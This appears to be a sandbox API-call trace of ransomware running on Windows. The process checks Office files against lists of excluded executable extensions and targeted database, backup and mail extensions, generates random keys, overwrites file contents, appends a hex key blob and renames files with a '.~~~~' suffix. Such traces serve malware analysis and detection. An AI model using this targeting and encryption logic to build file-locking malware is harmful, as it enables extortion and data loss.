	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".dbx") returned 0x0
	[0144.145] lstrlenW (lpString=".DB3") returned 4
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".DB3") returned 0x0
	[0144.145] lstrlenW (lpString=".DAT") returned 4
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".DAT") returned 0x0
	[0144.145] lstrlenW (lpString=".VHDX") returned 5
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".VHDX") returned 0x0
	[0144.145] lstrlenW (lpString=".ndf") returned 4
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".ndf") returned 0x0
	[0144.145] lstrlenW (lpString=".DB") returned 3
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".DB") returned 0x0
	[0144.145] lstrlenW (lpString=".sql") returned 4
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".sql") returned 0x0
	[0144.145] lstrlenW (lpString=".MYD") returned 4
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".MYD") returned 0x0
	[0144.145] lstrlenW (lpString=".DBT") returned 4
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".DBT") returned 0x0
	[0144.145] lstrlenW (lpString=".ACCDB") returned 6
	[0144.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".ACCDB") returned 0x0
	[0144.145] lstrlenW (lpString=".fdb") returned 4
	[0144.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".fdb") returned 0x0
	[0144.146] lstrlenW (lpString=".bak") returned 4
	[0144.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".bak") returned 0x0
	[0144.146] lstrlenW (lpString=".myd") returned 4
	[0144.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".myd") returned 0x0
	[0144.146] lstrlenW (lpString=".DTXS") returned 5
	[0144.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".DTXS") returned 0x0
	[0144.146] lstrlenW (lpString=".ckp") returned 4
	[0144.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".ckp") returned 0x0
	[0144.146] lstrlenW (lpString=".dbt") returned 4
	[0144.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".dbt") returned 0x0
	[0144.146] lstrlenW (lpString=".db") returned 3
	[0144.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".db") returned 0x0
	[0144.146] lstrlenW (lpString=".TXT") returned 4
	[0144.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".TXT") returned 0x0
	[0144.146] lstrlenW (lpString=".MDF") returned 4
	[0144.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".MDF") returned 0x0
	[0144.146] lstrlenW (lpString=".bdb") returned 4
	[0144.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".bdb") returned 0x0
	[0144.146] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.147] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0144.148] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.148] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.148] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26413812700) returned 1
	[0144.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf527bf0, dwHighDateTime=0x1d60e1e)) 
	[0144.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b27b8
	[0144.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b27b8 | out: hHeap=0x300000) returned 1
	[0144.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0144.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.149] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0144.149] GetLastError () returned 0x0
	[0144.149] GetLastError () returned 0x0
	[0144.150] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0144.150] GetLastError () returned 0x0
	[0144.150] GetLastError () returned 0x0
	[0144.150] ReadFile (in: hFile=0x104, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x1f8fec0*=0x21ac, lpOverlapped=0x0) returned 1
	[0144.153] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffde54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.153] WriteFile (in: hFile=0x104, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x21ac, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x21ac, lpOverlapped=0x0) returned 1
	[0144.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0144.154] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.154] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.154] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.154] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.154] CloseHandle (hObject=0x104) returned 1
	[0144.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2918918
	[0144.154] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx.~~~~")) returned 1
	[0144.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2918918 | out: hHeap=0x300000) returned 1
	[0144.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.157] GetLastError () returned 0x0
	[0144.157] RtlWakeConditionVariable () returned 0x0
	[0144.158] GetCurrentThreadId () returned 0xaf0
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".scr") returned 0x0
	[0144.158] lstrlenW (lpString=".cmd") returned 4
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".cmd") returned 0x0
	[0144.158] lstrlenW (lpString=".dll") returned 4
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".dll") returned 0x0
	[0144.158] lstrlenW (lpString=".bat") returned 4
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".bat") returned 0x0
	[0144.158] lstrlenW (lpString=".cpl") returned 4
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".cpl") returned 0x0
	[0144.158] lstrlenW (lpString=".sys") returned 4
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".sys") returned 0x0
	[0144.158] lstrlenW (lpString=".msc") returned 4
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".msc") returned 0x0
	[0144.158] lstrlenW (lpString=".com") returned 4
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".com") returned 0x0
	[0144.158] lstrlenW (lpString=".lnk") returned 4
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".lnk") returned 0x0
	[0144.158] lstrlenW (lpString=".msp") returned 4
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".msp") returned 0x0
	[0144.158] lstrlenW (lpString=".pif") returned 4
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".pif") returned 0x0
	[0144.158] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0144.180] lstrlenW (lpString=".sqb") returned 4
	[0144.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".sqb") returned 0x0
	[0144.180] lstrlenW (lpString=".ost") returned 4
	[0144.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".ost") returned 0x0
	[0144.180] lstrlenW (lpString=".txt") returned 4
	[0144.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".txt") returned 0x0
	[0144.180] lstrlenW (lpString=".mdt") returned 4
	[0144.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".mdt") returned 0x0
	[0144.180] lstrlenW (lpString=".BDB") returned 4
	[0144.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".BDB") returned 0x0
	[0144.180] lstrlenW (lpString=".eql") returned 4
	[0144.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".eql") returned 0x0
	[0144.180] lstrlenW (lpString=".DBF") returned 4
	[0144.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".DBF") returned 0x0
	[0144.180] lstrlenW (lpString=".EQL") returned 4
	[0144.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".EQL") returned 0x0
	[0144.180] lstrlenW (lpString=".FDB") returned 4
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".FDB") returned 0x0
	[0144.181] lstrlenW (lpString=".EDB") returned 4
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".EDB") returned 0x0
	[0144.181] lstrlenW (lpString=".DACPAC") returned 7
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".DACPAC") returned 0x0
	[0144.181] lstrlenW (lpString=".VHD") returned 4
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".VHD") returned 0x0
	[0144.181] lstrlenW (lpString=".DBV") returned 4
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".DBV") returned 0x0
	[0144.181] lstrlenW (lpString=".dacpac") returned 7
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".dacpac") returned 0x0
	[0144.181] lstrlenW (lpString=".sdf") returned 4
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".sdf") returned 0x0
	[0144.181] lstrlenW (lpString=".accdb") returned 6
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".accdb") returned 0x0
	[0144.181] lstrlenW (lpString=".DBX") returned 4
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".DBX") returned 0x0
	[0144.181] lstrlenW (lpString=".MDT") returned 4
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".MDT") returned 0x0
	[0144.181] lstrlenW (lpString=".SQB") returned 4
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".SQB") returned 0x0
	[0144.181] lstrlenW (lpString=".vhd") returned 4
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".vhd") returned 0x0
	[0144.181] lstrlenW (lpString=".bac") returned 4
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".bac") returned 0x0
	[0144.181] lstrlenW (lpString=".mdf") returned 4
	[0144.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".mdf") returned 0x0
	[0144.181] lstrlenW (lpString=".BAK") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".BAK") returned 0x0
	[0144.182] lstrlenW (lpString=".BAC") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".BAC") returned 0x0
	[0144.182] lstrlenW (lpString=".dbs") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".dbs") returned 0x0
	[0144.182] lstrlenW (lpString=".vhdx") returned 5
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".vhdx") returned 0x0
	[0144.182] lstrlenW (lpString=".NDF") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".NDF") returned 0x0
	[0144.182] lstrlenW (lpString=".dat") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".dat") returned 0x0
	[0144.182] lstrlenW (lpString=".DBS") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".DBS") returned 0x0
	[0144.182] lstrlenW (lpString=".CKP") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".CKP") returned 0x0
	[0144.182] lstrlenW (lpString=".edb") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".edb") returned 0x0
	[0144.182] lstrlenW (lpString=".PST") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".PST") returned 0x0
	[0144.182] lstrlenW (lpString=".dbf") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".dbf") returned 0x0
	[0144.182] lstrlenW (lpString=".SQL") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".SQL") returned 0x0
	[0144.182] lstrlenW (lpString=".pst") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".pst") returned 0x0
	[0144.182] lstrlenW (lpString=".dbv") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".dbv") returned 0x0
	[0144.182] lstrlenW (lpString=".SDF") returned 4
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".SDF") returned 0x0
	[0144.182] lstrlenW (lpString=".dtxs") returned 5
	[0144.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".dtxs") returned 0x0
	[0144.183] lstrlenW (lpString=".db3") returned 4
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".db3") returned 0x0
	[0144.183] lstrlenW (lpString=".OST") returned 4
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".OST") returned 0x0
	[0144.183] lstrlenW (lpString=".dbx") returned 4
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".dbx") returned 0x0
	[0144.183] lstrlenW (lpString=".DB3") returned 4
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".DB3") returned 0x0
	[0144.183] lstrlenW (lpString=".DAT") returned 4
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".DAT") returned 0x0
	[0144.183] lstrlenW (lpString=".VHDX") returned 5
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".VHDX") returned 0x0
	[0144.183] lstrlenW (lpString=".ndf") returned 4
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".ndf") returned 0x0
	[0144.183] lstrlenW (lpString=".DB") returned 3
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".DB") returned 0x0
	[0144.183] lstrlenW (lpString=".sql") returned 4
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".sql") returned 0x0
	[0144.183] lstrlenW (lpString=".MYD") returned 4
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".MYD") returned 0x0
	[0144.183] lstrlenW (lpString=".DBT") returned 4
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".DBT") returned 0x0
	[0144.183] lstrlenW (lpString=".ACCDB") returned 6
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".ACCDB") returned 0x0
	[0144.183] lstrlenW (lpString=".fdb") returned 4
	[0144.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".fdb") returned 0x0
	[0144.183] lstrlenW (lpString=".bak") returned 4
	[0144.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".bak") returned 0x0
	[0144.184] lstrlenW (lpString=".myd") returned 4
	[0144.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".myd") returned 0x0
	[0144.184] lstrlenW (lpString=".DTXS") returned 5
	[0144.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".DTXS") returned 0x0
	[0144.184] lstrlenW (lpString=".ckp") returned 4
	[0144.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".ckp") returned 0x0
	[0144.184] lstrlenW (lpString=".dbt") returned 4
	[0144.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".dbt") returned 0x0
	[0144.184] lstrlenW (lpString=".db") returned 3
	[0144.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".db") returned 0x0
	[0144.184] lstrlenW (lpString=".TXT") returned 4
	[0144.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".TXT") returned 0x0
	[0144.184] lstrlenW (lpString=".MDF") returned 4
	[0144.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".MDF") returned 0x0
	[0144.184] lstrlenW (lpString=".bdb") returned 4
	[0144.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".bdb") returned 0x0
	[0144.184] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.184] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395498) returned 1
	[0144.185] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.185] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0144.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.186] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26417570805) returned 1
	[0144.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf59a010, dwHighDateTime=0x1d60e1e)) 
	[0144.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
